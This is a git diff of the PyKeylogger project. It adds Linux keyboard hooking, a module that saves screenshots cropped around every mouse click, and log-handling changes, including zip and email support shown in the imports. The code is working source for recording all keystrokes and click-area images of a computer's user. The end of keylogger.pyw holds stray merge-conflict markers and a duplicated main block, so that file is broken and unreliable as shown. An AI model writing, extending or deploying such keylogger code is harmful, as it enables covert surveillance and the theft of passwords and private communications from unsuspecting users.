diff --git a/CHANGELOG.TXT b/CHANGELOG.TXT
index 2d1ccf0..50b9d68 100644
--- a/CHANGELOG.TXT
+++ b/CHANGELOG.TXT
@@ -1,6 +1,20 @@
PyKeylogger Changelog
---------------------
+-----
+Version 1.0.1 (2008-03-19)
+
+*) Bugfix: now we properly detect the location of the program, so that relative log directories and ini/val file locations work properly. Before we relied on current directory being right, which is not always true.
+*) Do some pre-processing on settings read from ini file, to make sure directories and filenames are 'legal'.
+*) Prettify the about dialog
+
+-----
+Version 1.0.0 (2008-03-11)
+
+*) Big news: thanks to a generous contributor (Tim Alexander), PyKeylogger now works on linux, with complete feature parity between the windows and linux versions.
+*) New feature: PyKeylogger can now capture screenshots cropped around mouse clicks.
+*) A few minor improvements/bugfixes and some code refactoring happened in the process of making the code cross-platform
+
-----
Version 0.9.4 (2008-03-04)
diff --git a/MANIFEST b/MANIFEST
deleted file mode 100644
index 57a877c..0000000
--- a/MANIFEST
+++ /dev/null
@@ -1,18 +0,0 @@
-CHANGELOG.TXT
-LICENSE.txt
-MANIFEST.in
-README.txt
-TODO.txt
-controlpanel.py
-keylogger.pyw
-logwriter.py
-make_all_dist.py
-mytimer.py
-mytkSimpleDialog.py
-myutils.py
-pykeylogger.ini
-pykeylogger.val
-setup.py
-supportscreen.py
-tooltip.py
-version.py
diff --git a/imagecapture.py b/imagecapture.py
new file mode 100644
index 0000000..d7e0db2
--- /dev/null
+++ b/imagecapture.py
@@ -0,0 +1,301 @@
+##############################################################################
+##
+## PyKeylogger: Simple Python Keylogger for Windows
+## Copyright (C) 2008 nanotube@users.sf.net
+##
+## http://pykeylogger.sourceforge.net/
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the terms of the GNU General Public License
+## as published by the Free Software Foundation; either version 3
+## of the License, or (at your option) any later version.
+##
+## This program is distributed in the hope that it will be useful,
+## but WITHOUT ANY WARRANTY; without even the implied warranty of
+## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+## GNU General Public License for more details.
+##
+## You should have received a copy of the GNU General Public License
+## along with this program. If not, see <http://www.gnu.org/licenses/>.
+##
+##############################################################################
+
+import time
+import threading
+import Image
+import Queue
+import os
+import os.path
+import traceback
+import re
+import logging
+import sys
+import copy
+
+if os.name == 'nt':
+ import win32api, win32con, win32process
+ import ImageGrab
+elif os.name == 'posix':
+ from Xlib import X, XK, display, error
+ from Xlib.ext import record
+ from Xlib.protocol import rq
+
+class ImageWriter(threading.Thread):
+ def __init__(self, settings, cmdoptions, queue):
+
+ threading.Thread.__init__(self)
+ self.finished = threading.Event()
+
+ self.cmdoptions = cmdoptions
+ self.settings = settings
+ self.q = queue
+
+ self.createLogger()
+
+ self.imagedimensions = Point(self.settings['Image Capture']['Capture Clicks Width'], self.settings['Image Capture']['Capture Clicks Height'])
+
+ self.filter = re.compile(r"[\\\/\:\*\?\"\<\>\|]+") #regexp filter for the non-allowed characters in windows filenames.
+
+ # Hook to our display.
+ if os.name == 'posix':
+ self.local_dpy = display.Display()
+
+ #Make sure the image directory is there. If not, create it.
+ self.imagedir = os.path.join(self.settings['General']['Log Directory'], "images")
+ #~ originalDir = os.getcwd()
+ #~ os.chdir(self.settings['General']['Log Directory'])
+ try:
+ os.makedirs(self.imagedir, 0777)
+ except OSError, detail:
+ if(detail.errno==17):
+ pass
+ else:
+ self.logger.error("error creating click image directory", sys.exc_info())
+ except:
+ self.logger.error("error creating click image directory", sys.exc_info())
+
+ #if (event.detail == 1) or (event.detail == 2) or (event.detail == 3):
+ #self.captureclick()
+
+ pass
+
+ def createLogger(self):
+
+ self.logger = logging.getLogger('imagewriter')
+ self.logger.setLevel(logging.DEBUG)
+
+ # create the "debug" handler - output messages to the console, to stderr, if debug option is set
+ if self.cmdoptions.debug:
+ loglevel = logging.DEBUG
+ else:
+ loglevel = logging.WARN
+
+ consolehandler = logging.StreamHandler()
+ consolehandler.setLevel(loglevel)
+ formatter = logging.Formatter('%(asctime)s %(name)-12s %(levelname)-8s %(message)s')
+ consolehandler.setFormatter(formatter)
+ self.logger.addHandler(consolehandler)
+
+ def PrintDebug(self, stuff, exc_info=False):
+ '''Write stuff to console.
+ '''
+ self.logger.debug(stuff, exc_info=exc_info)
+
+ def run(self):
+ while not self.finished.isSet():
+ try:
+ event = self.q.get(timeout=0.05)
+ if event.MessageName.startswith("mouse left") or event.MessageName.startswith("mouse middle") or event.MessageName.startswith("mouse right"):
+ self.capture_image(event)
+ self.PrintDebug(self.print_event(event))
+ except Queue.Empty:
+ pass
+
+ def print_event(self, event):
+ '''prints event. need this because pyhook's event don't have a default __str__ method,
+ so we check for os type, and make it work on windows.
+ '''
+ if os.name == 'posix':
+ return str(event)
+ if os.name == 'nt':
+ return "Window: " + str(event.Window) + "\nWindow Handle: " + str(event.WindowName) + "\nWindow's Process Name: " + self.getProcessName(event) + "\nPosition: " + str(event.Position) + "\nMessageName: " + str(event.MessageName) + "\n"
+
+ def cancel(self):
+ self.finished.set()
+
+ #def capturewindow(self, Window = None, start_x = 0, start_y = 0, width = None, height = None, saveto = "image.png"):
+ def capture_image(self, event):
+
+ screensize = self.getScreenSize()
+
+ # The cropbox will take care of making sure our image is within
+ # screen boundaries.
+ cropbox = CropBox(topleft=Point(0,0), bottomright=self.imagedimensions, min=Point(0,0), max=screensize)
+ cropbox.reposition(Point(event.Position[0], event.Position[1]))
+
+ self.PrintDebug(cropbox)
+
+ savefilename = os.path.join(self.imagedir, "click_" + time.strftime('%Y%m%d_%H%M%S') + "_" + self.filter.sub(r'__', self.getProcessName(event)) + ".png")
+
+ if os.name == 'posix':
+
+ AllPlanes = ~0
+
+ try: #cropbox.topleft.x, cropbox.topleft.y, cropbox.size.x, cropbox.size.y, self.savefilename
+ raw = self.rootwin.get_image(cropbox.topleft.x, cropbox.topleft.y, cropbox.size.x, cropbox.size.y, X.ZPixmap, AllPlanes)
+ Image.fromstring("RGBX", (cropbox.size.x, cropbox.size.y), raw.data, "raw", "BGRX").convert("RGB").save(savefilename)
+ return 0
+ except error.BadDrawable:
+ print "bad drawable when attempting to get an image! Closed the window?"
+ except error.BadMatch:
+ print "bad match when attempting to get an image! probably specified an area outside the window (too big?)"
+ except error.BadValue:
+ print "getimage: bad value error - tell me about this one, I've not managed to make it happen yet"
+ except:
+ print traceback.print_exc()
+
+ if os.name == 'nt':
+ img = ImageGrab.grab((cropbox.topleft.x, cropbox.topleft.y, cropbox.bottomright.x, cropbox.bottomright.y))
+ img.save(savefilename)
+
+
+ def getScreenSize(self):
+ if os.name == 'posix':
+ self.rootwin = self.local_dpy.get_input_focus().focus.query_tree().root
+ if self.rootwin == 0:
+ self.rootwin = self.local_dpy.get_input_focus()
+ return Point(self.rootwin.get_geometry().width, self.rootwin.get_geometry().height)
+ if os.name == 'nt':
+ return Point(win32api.GetSystemMetrics(0), win32api.GetSystemMetrics (1))
+
+ def getProcessName(self, event):
+ '''Acquire the process name from the event window handle for use in the image filename.
+ On Linux, process name is a direct attribute of the event.
+ '''
+ if os.name == 'nt':
+ hwnd = event.Window
+ try:
+ threadpid, procpid = win32process.GetWindowThreadProcessId(hwnd)
+
+ # PROCESS_QUERY_INFORMATION (0x0400) or PROCESS_VM_READ (0x0010) or PROCESS_ALL_ACCESS (0x1F0FFF)
+
+ mypyproc = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, procpid)
+ procname = win32process.GetModuleFileNameEx(mypyproc, 0)
+ return procname
+ except:
+ #self.logger.error("Failed to get process info from hwnd.", exc_info=sys.exc_info())
+ # this happens frequently enough - when the last event caused the closure of the window or program
+ # so we just return a nice string and don't worry about it.
+ return "noprocname"
+ elif os.name == 'posix':
+ return str(event.WindowProcName)
+
+ #~ def captureclick(self, event):
+ #~ screensize = self.getScreenSize()
+
+ #~ # The cropbox will take care of making sure our image is within
+ #~ # screen boundaries.
+ #~ cropbox = CropBox(topleft=Point(0,0), bottomright=self.imagedimensions, min=Point(0,0), max=screensize)
+ #~ cropbox.reposition(Point(event.Position[0], event.Position[1]))
+
+ #~ self.savefilename = os.path.join(self.imagedir, "click_" + time.strftime('%Y_%m_%d%_%H_%M_%S') + "_" + str(event.WindowProcName) + ".png")
+
+ #~ try:
+ #~ self.capturewindow(self.rootwin, cropbox.topleft.x, cropbox.topleft.y, cropbox.size.x, cropbox.size.y, self.savefilename)
+ #~ except:
+ #~ print "Encountered an error capturing the image for the window. Continuing anyway."
+
+class Point:
+ def __init__(self, x=0, y=0):
+ self.x = x
+ self.y = y
+ def move(self, xmove=0, ymove=0):
+ self.x = self.x + xmove
+ self.y = self.y + ymove
+ def __str__(self):
+ return "[" + str(self.x) + "," + str(self.y) + "]"
+ def __add__(self, other):
+ return Point(self.x+other.x, self.y+other.y)
+ def __sub__(self, other):
+ return Point(self.x - other.x, self.y - other.y)
+
+
+class CropBox:
+ def __init__(self, topleft=Point(0,0), bottomright=Point(100,100), min=Point(0,0), max=Point(1600,1200)):
+
+ self.topleft = copy.deepcopy(topleft)
+ self.bottomright = copy.deepcopy(bottomright)
+ self.min = copy.deepcopy(min)
+ self.max = copy.deepcopy(max)
+ self.size = self.bottomright - self.topleft
+ self.maxsize = self.max - self.min
+ # make sure our box is not bigger than the whole image
+ if (self.size.x > self.maxsize.x):
+ self.bottomright.x = self.bottomright.x - self.size.x + self.maxsize.x
+ if (self.size.y > self.maxsize.y):
+ self.bottomright.y = self.bottomright.y - self.size.y + self.maxsize.y
+ self.center = Point(self.size.x/2 + self.topleft.x, self.size.y/2 + self.topleft.y)
+
+ def move(self, xmove=0, ymove=0):
+ # make sure we can't move beyond image boundaries
+ if (self.topleft.x + xmove < self.min.x):
+ xmove = self.topleft.x - self.min.x
+ if (self.topleft.y + ymove < self.min.y):
+ ymove = self.topleft.y - self.min.y
+ if (self.bottomright.x + xmove > self.max.x):
+ xmove = self.max.x - self.bottomright.x
+ if (self.bottomright.y + ymove > self.max.y):
+ ymove = self.max.y - self.bottomright.y
+ self.topleft.move(xmove, ymove)
+ self.bottomright.move(xmove, ymove)
+ self.center = Point(self.size.x/2 + self.topleft.x, self.size.y/2 + self.topleft.y)
+ #print self.center
+
+ def reposition(self, newcenter = Point(500,500)):
+ motion = newcenter - self.center
+ self.move(motion.x, motion.y)
+
+ def __str__(self):
+ return str(self.topleft) + str(self.bottomright)
+
+#~ def cropimage(imagesize=Point(1600,1200), cropboxsize = Point(100,100), centerpoint=Point(1500, 1500)):
+ #~ cropbox = CropBox(Point(0,0), cropboxsize, min=Point(0,0), max=imagesize)
+ #~ cropbox.move(centerpoint.x - cropbox.center.x, centerpoint.y - cropbox.center.y)
+
+ #~ print cropbox
+ #~ print cropbox.center
+
+# im = ImageGrab.grab((x0, y0, x1, y1))
+
+
+if __name__ == '__main__':
+
+ class CmdOptions:
+ def __init__(self, debug):
+ self.debug = debug
+
+ cmdoptions = CmdOptions(True)
+
+ q = Queue.Queue()
+
+ class mouseevent:
+ pass
+ event = mouseevent()
+ event.Window = 655808
+ event.WindowName = "WindowName"
+ event.WindowProcName = "WindowProcName"
+ event.Position = (400,400)
+ event.MessageName = "mouse left up"
+
+ settings={}
+ settings['E-mail'] = {'SMTP Send Email':False}
+ settings['Log Maintenance'] = {'Delete Old Logs':False,'Flush Interval':1000,'Log Rotation Interval':4,'Delete Old Logs':False}
+ settings['Zip'] = {'Zip Enable':False}
+ settings['General'] = {'Log Directory':'logs','System Log':'None','Log Key Count':True}
+ settings['Image Capture'] = {'Capture Clicks Width':300,'Capture Clicks Height':300}
+
+ iw = ImageWriter(cmdoptions, settings, q)
+ iw.start()
+ q.put(event)
+ time.sleep(5)
+ iw.cancel()
\ No newline at end of file
diff --git a/keylogger.pyw b/keylogger.pyw
index 4094755..1f96377 100644
--- a/keylogger.pyw
+++ b/keylogger.pyw
@@ -20,15 +20,25 @@
##
##############################################################################
-import pyHook
+import os
+import os.path
import time
-import pythoncom
import sys
-import os
-import imp # don't need this anymore?
+if os.name == 'posix':
+ import pyxhook as hooklib
+elif os.name == 'nt':
+ import pyHook as hooklib
+ import pythoncom
+else:
+ print "OS is not recognised as windows or linux."
+ exit()
+
+#import imp # don't need this anymore?
+import re
from optparse import OptionParser
import traceback
from logwriter import LogWriter
+from imagecapture import ImageWriter
import version
#import ConfigParser
from configobj import ConfigObj
@@ -38,6 +48,7 @@ from supportscreen import SupportScreen, ExpirationScreen
import Tkinter, tkMessageBox
import myutils
import Queue
+import threading
class KeyLogger:
''' Captures all keystrokes, puts events in Queue for later processing
@@ -45,85 +56,116 @@ class KeyLogger:
'''
def __init__(self):
- self.ParseOptions()
- self.ParseConfigFile()
+ self.ParseOptions() # stored in self.cmdoptions
+ self.ParseConfigFile() # stored in self.settings
self.ParseControlKey()
self.NagscreenLogic()
- self.q = Queue.Queue(0)
- self.hm = pyHook.HookManager()
- self.hm.KeyDown = self.OnKeyDownEvent
- self.hm.KeyUp = self.OnKeyUpEvent
+ self.process_settings()
+ self.q_logwriter = Queue.Queue(0)
+ self.q_imagewriter = Queue.Queue(0)
+ self.lw = LogWriter(self.settings, self.cmdoptions, self.q_logwriter)
+ self.iw = ImageWriter(self.settings, self.cmdoptions, self.q_imagewriter)
+ if os.name == 'posix':
+ self.hashchecker = ControlKeyMonitor(self.cmdoptions, self.lw, self, self.ControlKeyHash)
+
+ self.hm = hooklib.HookManager()
if self.settings['General']['Hook Keyboard'] == True:
self.hm.HookKeyboard()
- #if self.options.hookMouse == True:
- # self.hm.HookMouse()
+ self.hm.KeyDown = self.OnKeyDownEvent
+ self.hm.KeyUp = self.OnKeyUpEvent
+
+ if self.settings['Image Capture']['Capture Clicks'] == True:
+ self.hm.HookMouse()
+ self.hm.MouseAllButtonsDown = self.OnMouseDownEvent
- self.lw = LogWriter(self.settings, self.cmdoptions, self.q)
+ #if os.name == 'nt':
self.panel = False
+
+ #if self.options.hookMouse == True:
+ # self.hm.HookMouse()
def start(self):
self.lw.start()
- pythoncom.PumpMessages()
-
+ self.iw.start()
+ if os.name == 'nt':
+ pythoncom.PumpMessages()
+ if os.name == 'posix':
+ self.hashchecker.start()
+ self.hm.start()
+
+ def process_settings(self):
+ '''Process some settings values to correct for user input errors,
+ and to detect proper full path of the log directory.
+
+ We can change things in the settings configobj with impunity here,
+ since the control panel process get a fresh read of settings from file
+ before doing anything.
+ '''
+
+ if os.path.isabs(self.settings['General']['Log Directory']):
+ self.settings['General']['Log Directory'] = os.path.normpath(self.settings['General']['Log Directory'])
+ else:
+ self.settings['General']['Log Directory'] = os.path.join(myutils.get_main_dir(), os.path.normpath(self.settings['General']['Log Directory']))
+
+ self.filter = re.compile(r"[\\\/\:\*\?\"\<\>\|]+") #regexp filter for the non-allowed characters in windows filenames.
+ self.settings['General']['Log File'] = self.filter.sub(r'__',self.settings['General']['Log File'])
+ self.settings['General']['System Log'] = self.filter.sub(r'__',self.settings['General']['System Log'])
+
+ # todo: also want to run imagesdirectoryname (tbc) through self.filter
+
def ParseControlKey(self):
- #~ self.controlKeyList = self.settings['General']['Control Key'].split(';')
- #~ self.controlKeyList = [item.capitalize() for item in self.controlKeyList]
- #~ self.controlKeyHash = dict(zip(self.controlKeyList, [False for item in self.controlKeyList]))
self.ControlKeyHash = ControlKeyHash(self.settings['General']['Control Key'])
- #~ def MaintainControlKeyHash(self, event, updown):
- #~ if updown == 'Down' and event.Key in self.controlKeyHash.keys():
- #~ self.controlKeyHash[event.Key] = True
- #~ if updown == 'Up' and event.Key in self.controlKeyHash.keys():
- #~ self.controlKeyHash[event.Key] = False
-
- #~ def CheckForControlEvent(self):
- #~ if self.cmdoptions.debug:
- #~ self.lw.PrintDebug("control key status: " + str(self.controlKeyHash))
- #~ if self.controlKeyHash.values() == [True for item in self.controlKeyHash.keys()]:
- #~ return True
- #~ else:
- #~ return False
-
def OnKeyDownEvent(self, event):
'''This function is the stuff that's supposed to happen when a key is pressed.
- Puts the event in queue, and passes it on.
- Starts control panel if proper key is pressed.
+ Puts the event in queue,
+ Updates the control key combo status,
+ And passes the event on to the system.
'''
- #self.lw.WriteToLogFile(event)
- self.q.put(event)
- #self.MaintainControlKeyHash(event, 'Down')
+ self.q_logwriter.put(event)
+
self.ControlKeyHash.update(event)
- #~ if self.CheckForControlEvent():
if self.cmdoptions.debug:
self.lw.PrintDebug("control key status: " + str(self.ControlKeyHash))
- if self.ControlKeyHash.check():
- if not self.panel:
- self.lw.PrintDebug("starting panel")
- self.panel = True
- self.ControlKeyHash.reset()
- PyKeyloggerControlPanel(self.cmdoptions, self)
-
- #~ if event.Key == self.settings['General']['Control Key']:
- #~ if not self.panel:
- #~ self.lw.PrintDebug("starting panel\n")
- #~ self.panel = True
- #~ PyKeyloggerControlPanel(self.cmdoptions, self)
-
+
+ # have to open the panel from main thread on windows, otherwise it hangs.
+ # possibly due to some interaction with the python message pump and tkinter?
+ #
+ # on linux, on the other hand, doing it from a separate worker thread is a must
+ # since the pyxhook module blocks until panel is closed, so we do it with the
+ # hashchecker thread instead.
+ if os.name == 'nt':
+ if self.ControlKeyHash.check():
+ if not self.panel:
+ self.lw.PrintDebug("starting panel")
+ self.panel = True
+ self.ControlKeyHash.reset()
+ PyKeyloggerControlPanel(self.cmdoptions, self)
+
return True
def OnKeyUpEvent(self,event):
- #self.MaintainControlKeyHash(event, 'Up')
self.ControlKeyHash.update(event)
return True
+ def OnMouseDownEvent(self,event):
+ self.q_imagewriter.put(event)
+ return True
+
def stop(self):
'''Exit cleanly.
'''
+
+ if os.name == 'posix':
+ self.hm.cancel()
+ self.hashchecker.cancel()
self.lw.cancel()
+ self.iw.cancel()
+
+ #print threading.enumerate()
sys.exit()
def ParseOptions(self):
@@ -147,7 +189,12 @@ class KeyLogger:
Give detailed error box and exit if validation on the config file fails.
'''
-
+
+ if not os.path.isabs(self.cmdoptions.configfile):
+ self.cmdoptions.configfile = os.path.join(myutils.get_main_dir(), self.cmdoptions.configfile)
+ if not os.path.isabs(self.cmdoptions.configval):
+ self.cmdoptions.configval = os.path.join(myutils.get_main_dir(), self.cmdoptions.configval)
+
self.settings=ConfigObj(self.cmdoptions.configfile, configspec=self.cmdoptions.configval, list_values=False)
# validate the config file
@@ -200,17 +247,57 @@ class KeyLogger:
sys.exit()
class ControlKeyHash:
+ '''Encapsulates the control key dictionary which is used to keep
+ track of whether the control key combo has been pressed.
+ '''
def __init__(self, controlkeysetting):
+
+ #~ lin_win_dict = {'Alt_L':'Lmenu',
+ #~ 'Alt_R':'Rmenu',
+ #~ 'Control_L':'Lcontrol',
+ #~ 'Control_R':'Rcontrol',
+ #~ 'Shift_L':'Lshift',
+ #~ 'Shift_R':'Rshift',
+ #~ 'Super_L':'Lwin',
+ #~ 'Super_R':'Rwin'}
+
+ lin_win_dict = {'Alt_l':'Lmenu',
+ 'Alt_r':'Rmenu',
+ 'Control_l':'Lcontrol',
+ 'Control_r':'Rcontrol',
+ 'Shift_l':'Lshift',
+ 'Shift_r':'Rshift',
+ 'Super_l':'Lwin',
+ 'Super_r':'Rwin',
+ 'Page_up':'Prior'}
+
+ win_lin_dict = dict([(v,k) for (k,v) in lin_win_dict.iteritems()])
+
self.controlKeyList = controlkeysetting.split(';')
+
+ # capitalize all items for greater tolerance of variant user inputs
+ self.controlKeyList = [item.capitalize() for item in self.controlKeyList]
+ # remove duplicates
+ self.controlKeyList = list(set(self.controlKeyList))
+
+ # translate linux versions of key names to windows, or vice versa,
+ # depending on what platform we are on.
if os.name == 'nt':
- self.controlKeyList = [item.capitalize() for item in self.controlKeyList]
+ for item in self.controlKeyList:
+ if item in lin_win_dict.keys():
+ self.controlKeyList[self.controlKeyList.index(item)] = lin_win_dict[item]
+ elif os.name == 'posix':
+ for item in self.controlKeyList:
+ if item in win_lin_dict.keys():
+ self.controlKeyList[self.controlKeyList.index(item)] = lin_win_dict[item]
+
self.controlKeyHash = dict(zip(self.controlKeyList, [False for item in self.controlKeyList]))
def update(self, event):
- if event.MessageName == 'key down' and event.Key in self.controlKeyHash.keys():
- self.controlKeyHash[event.Key] = True
- if event.MessageName == 'key up' and event.Key in self.controlKeyHash.keys():
- self.controlKeyHash[event.Key] = False
+ if event.MessageName == 'key down' and event.Key.capitalize() in self.controlKeyHash.keys():
+ self.controlKeyHash[event.Key.capitalize()] = True
+ if event.MessageName == 'key up' and event.Key.capitalize() in self.controlKeyHash.keys():
+ self.controlKeyHash[event.Key.capitalize()] = False
def reset(self):
for key in self.controlKeyHash.keys():
@@ -225,10 +312,48 @@ class ControlKeyHash:
def __str__(self):
return str(self.controlKeyHash)
+class ControlKeyMonitor(threading.Thread):
+ '''Polls the control key hash status periodically, to see if
+ the control key combo has been pressed. Brings up control panel if it has.
+ '''
+ def __init__(self, cmdoptions, logwriter, mainapp, controlkeyhash):
+ threading.Thread.__init__(self)
+ self.finished = threading.Event()
+
+ # panel flag - true if panel is up, false if not
+ # this way we don't start a second panel instance when it's already up
+ #self.panel=False
+
+ self.lw = logwriter
+ self.mainapp = mainapp
+ self.cmdoptions = cmdoptions
+ self.ControlKeyHash = controlkeyhash
+
+ def run(self):
+ while not self.finished.isSet():
+ if self.ControlKeyHash.check():
+ if not self.mainapp.panel:
+ self.lw.PrintDebug("starting panel")
+ self.mainapp.panel = True
+ self.ControlKeyHash.reset()
+ PyKeyloggerControlPanel(self.cmdoptions, self.mainapp)
+ time.sleep(0.05)
+
+ def cancel(self):
+ self.finished.set()
+
+
if __name__ == '__main__':
kl = KeyLogger()
kl.start()
#if you want to change keylogger behavior from defaults, modify the .ini file. Also try '-h' for list of command line options.
-
\ No newline at end of file
+ =======
+
+ kl = KeyLogger()
+ kl.start()
+
+ #if you want to change keylogger behavior from defaults, modify the .ini file. Also try '-h' for list of command line options.
+
+>>>>>>> 1.29.2.14
diff --git a/logwriter.py b/logwriter.py
index d78265e..a75e41d 100644
--- a/logwriter.py
+++ b/logwriter.py
@@ -20,11 +20,18 @@
##
##############################################################################
-import win32api, win32con, win32process
-import os, os.path
+import os
+import os.path
+import sys
+if os.name == 'posix':
+ pass
+elif os.name == 'nt':
+ import win32api, win32con, win32process
+else:
+ print "OS is not recognised as windows or linux"
+ sys.exit()
import time
import re
-import sys
import Queue
import traceback
import threading
@@ -38,7 +45,7 @@ import mytimer
# the following are needed for zipping the logfiles
import zipfile
-
+
# the following are needed for automatic emailing
import smtplib
@@ -76,7 +83,7 @@ class LogWriter(threading.Thread):
self.settings = settings
self.cmdoptions = cmdoptions
- self.filter = re.compile(r"[\\\/\:\*\?\"\<\>\|]+") #regexp filter for the non-allowed characters in windows filenames.
+ self.filter = re.compile(r"[\\\/\:\*\?\"\<\>\|]+") #regexp filter for the non-allowed characters in windows filenames.
self.createLogger()
#self.settings['General']['Log Directory'] = os.path.normpath(self.settings['General']['Log Directory'])
@@ -99,13 +106,8 @@ class LogWriter(threading.Thread):
# initialize the automatic log flushing timer
self.flushtimer = mytimer.MyTimer(float(self.settings['Log Maintenance']['Flush Interval']), 0, self.FlushLogWriteBuffers, ["Flushing file write buffers due to timer"])
self.flushtimer.start()
-
- #~ # start the event queue processing
- #~ self.queuetimer = mytimer.MyTimer(1, 1, self.start)
- #~ self.queuetimer.start()
-
+
# initialize some automatic zip stuff
- #self.settings['Zip']['ziparchivename'] = "log_[date].zip"
if self.settings['Zip']['Zip Enable'] == True:
self.ziptimer = mytimer.MyTimer(float(self.settings['Zip']['Zip Interval'])*60*60, 0, self.ZipLogFiles)
self.ziptimer.start()
@@ -152,7 +154,7 @@ class LogWriter(threading.Thread):
self.logger.error("error creating log directory", exc_info=sys.exc_info())
if self.settings['General']['System Log'] != 'None':
- systemlogpath = os.path.join(self.settings['General']['Log Directory'], self.filter.sub(r'__',self.settings['General']['System Log']))
+ systemlogpath = os.path.join(self.settings['General']['Log Directory'], self.settings['General']['System Log'])
systemloghandler = logging.FileHandler(systemlogpath)
systemloghandler.setLevel(logging.DEBUG)
systemloghandler.setFormatter(formatter)
@@ -170,7 +172,7 @@ class LogWriter(threading.Thread):
## if we are logging keystroke count, that field becomes the penultimate field.
##
## event data: ascii if normal key, escaped if "special" key, escaped if csv separator
- ## self.processName = self.GetProcessNameFromHwnd(event.Window) #fullapppath
+ ## self.processName = self.GetProcessName(event.Window) #fullapppath
## hwnd = event.Window
## username = os.environ['USERNAME']
## date = time.strftime('%Y%m%d')
@@ -188,9 +190,9 @@ class LogWriter(threading.Thread):
while not self.finished.isSet():
try:
- event = self.q.get()
-
- loggable = self.TestForNoLog(event) # see if the program is in the no-log list.
+ event = self.q.get(timeout=0.5) #need the timeout so that thread terminates properly when exiting
+ #print event
+ loggable = self.TestForNoLog(event) # see if the program is in the no-log list.
if not loggable:
if self.cmdoptions.debug: self.PrintDebug("not loggable, we are outta here\n")
continue
@@ -202,7 +204,7 @@ class LogWriter(threading.Thread):
eventlisttmp = [time.strftime('%Y%m%d'),
time.strftime('%H%M'),
- self.GetProcessNameFromHwnd(event.Window),
+ self.GetProcessName(event),
str(event.Window),
os.getenv('USERNAME'),
str(event.WindowName).replace(self.settings['General']['Log File Field Separator'], '[sep_key]')]
@@ -221,13 +223,12 @@ class LogWriter(threading.Thread):
self.eventlist = eventlisttmp
## don't need this with infinite timeout?
except Queue.Empty:
- self.PrintDebug("\nempty queue...\n")
pass #let's keep iterating
except:
self.PrintDebug("some exception was caught in the logwriter loop...\nhere it is:\n", sys.exc_info())
pass #let's keep iterating
- self.finished.set()
+ self.finished.set() #shouldn't ever need this, but just in case...
def ParseEventValue(self, event):
'''Pass the event ascii value through the requisite filters.
@@ -252,7 +253,7 @@ class LogWriter(threading.Thread):
# need to parse the returns, so as not to break up the delimited data lines
if event.Ascii == 13:
return(npchrstr)
-
+
#we translate all the special keys, such as arrows, backspace, into text strings for logging
#exclude shift keys, because they are already represented (as capital letters/symbols)
if event.Ascii == 0 and not (str(event.Key).endswith('shift') or str(event.Key).endswith('Capital')):
@@ -278,10 +279,10 @@ class LogWriter(threading.Thread):
'''This function returns False if the process name associated with an event
is listed in the noLog option, and True otherwise.'''
- self.processName = self.GetProcessNameFromHwnd(event.Window)
+ self.processName = self.GetProcessName(event)
if self.settings['General']['Applications Not Logged'] != 'None':
for path in self.settings['General']['Applications Not Logged'].split(';'):
- if os.stat(path) == os.stat(self.processName): #we use os.stat instead of comparing strings due to multiple possible representations of a path
+ if os.stat(path) == os.stat(self.processName): #we use os.stat instead of comparing strings due to multiple possible representations of a path
return False
return True
@@ -314,7 +315,7 @@ class LogWriter(threading.Thread):
for fname in files:
#if fname != self.settings['ziparchivename']:
if not self.CheckIfZipFile(fname):
- myzip.write(os.path.join(root,fname).split("\\",1)[1])
+ myzip.write(os.path.join(root,fname).split(os.sep,1)[1])
myzip.close()
myzip = zipfile.ZipFile(zipFileName, "r", zipfile.ZIP_DEFLATED)
@@ -322,16 +323,18 @@ class LogWriter(threading.Thread):
self.PrintDebug("Warning: Zipfile did not pass check.\n")
myzip.close()
+ # chdir back
+ os.chdir(originalDir)
+
+
# write the name of the last completed zip file
# so that we can check against this when emailing or ftping, to make sure
# we do not try to transfer a zipfile which is in the process of being created
+
ziplog=open(os.path.join(self.settings['General']['Log Directory'], "ziplog.txt"), 'w')
ziplog.write(zipFileName)
ziplog.close()
- # chdir back
- os.chdir(originalDir)
-
#now we can delete all the logs that have not been modified since we made the zip.
self.DeleteOldLogs(zipFileRawTime)
@@ -475,8 +478,8 @@ class LogWriter(threading.Thread):
# do stuff only if file is closed. if it is open, we don't have to do anything at all, just return true.
if self.log == None:
# Filter out any characters that are not allowed as a windows filename, just in case the user put them into the config file
- self.settings['General']['Log File'] = self.filter.sub(r'__',self.settings['General']['Log File'])
- self.writeTarget = os.path.normpath(os.path.join(self.settings['General']['Log Directory'], self.settings['General']['Log File']))
+ #self.settings['General']['Log File'] = self.filter.sub(r'__',self.settings['General']['Log File'])
+ self.writeTarget = os.path.join(self.settings['General']['Log Directory'], self.settings['General']['Log File'])
try:
self.log = open(self.writeTarget, 'a')
self.PrintDebug("writing to: " + self.writeTarget)
@@ -519,7 +522,7 @@ class LogWriter(threading.Thread):
Then, openlogfile will take care of opening a fresh logfile by itself.'''
if self.log != None:
- rotateTarget = os.path.normpath(os.path.join(self.settings['General']['Log Directory'], time.strftime("%Y%m%d_%H%M%S") + '_' + self.settings['General']['Log File']))
+ rotateTarget = os.path.join(self.settings['General']['Log Directory'], time.strftime("%Y%m%d_%H%M%S") + '_' + self.settings['General']['Log File'])
self.PrintDebug("\nRenaming\n" + self.writeTarget + "\nto\n" + rotateTarget + "\n")
self.log.close()
self.log = None
@@ -547,7 +550,7 @@ class LogWriter(threading.Thread):
elif type(lastmodcutoff) == float:
testvalue = os.path.getmtime(os.path.join(root,fname)) < lastmodcutoff
- if fname == "emaillog.txt" or fname == "ziplog.txt":
+ if fname == "emaillog.txt" or fname == "ziplog.txt" or fname == self.settings['General']['Log File']:
testvalue = False # we don't want to delete these
if type(lastmodcutoff) == float and self.CheckIfZipFile(fname):
@@ -563,16 +566,26 @@ class LogWriter(threading.Thread):
except:
self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
- def GetProcessNameFromHwnd(self, hwnd):
+ def GetProcessName(self, event):
'''Acquire the process name from the window handle for use in the log filename.
'''
- threadpid, procpid = win32process.GetWindowThreadProcessId(hwnd)
-
- # PROCESS_QUERY_INFORMATION (0x0400) or PROCESS_VM_READ (0x0010) or PROCESS_ALL_ACCESS (0x1F0FFF)
-
- mypyproc = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, procpid)
- procname = win32process.GetModuleFileNameEx(mypyproc, 0)
- return procname
+ if os.name == 'nt':
+ hwnd = event.Window
+ try:
+ threadpid, procpid = win32process.GetWindowThreadProcessId(hwnd)
+
